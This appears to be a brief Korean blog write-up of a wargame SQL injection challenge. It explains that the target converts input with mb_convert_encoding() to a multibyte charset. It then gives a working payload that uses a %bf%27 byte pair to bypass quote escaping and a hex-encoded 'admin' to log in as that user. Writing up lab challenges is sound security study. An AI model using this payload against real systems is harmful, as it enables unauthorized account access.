범고래_1 2016. 4. 9. 15:59



50번 문제와같이 mb_convert_encoding() 함수를 이용하여 utf-8로 언어셋을 바꾸고 있다.

멀티바이트 언어셋이다.


쿼리문이 단순히 id='admin'인 레코드를 가져오므로, 

?id=%bf%27 or id=0x61646d696e#&pw=guest

댓글수0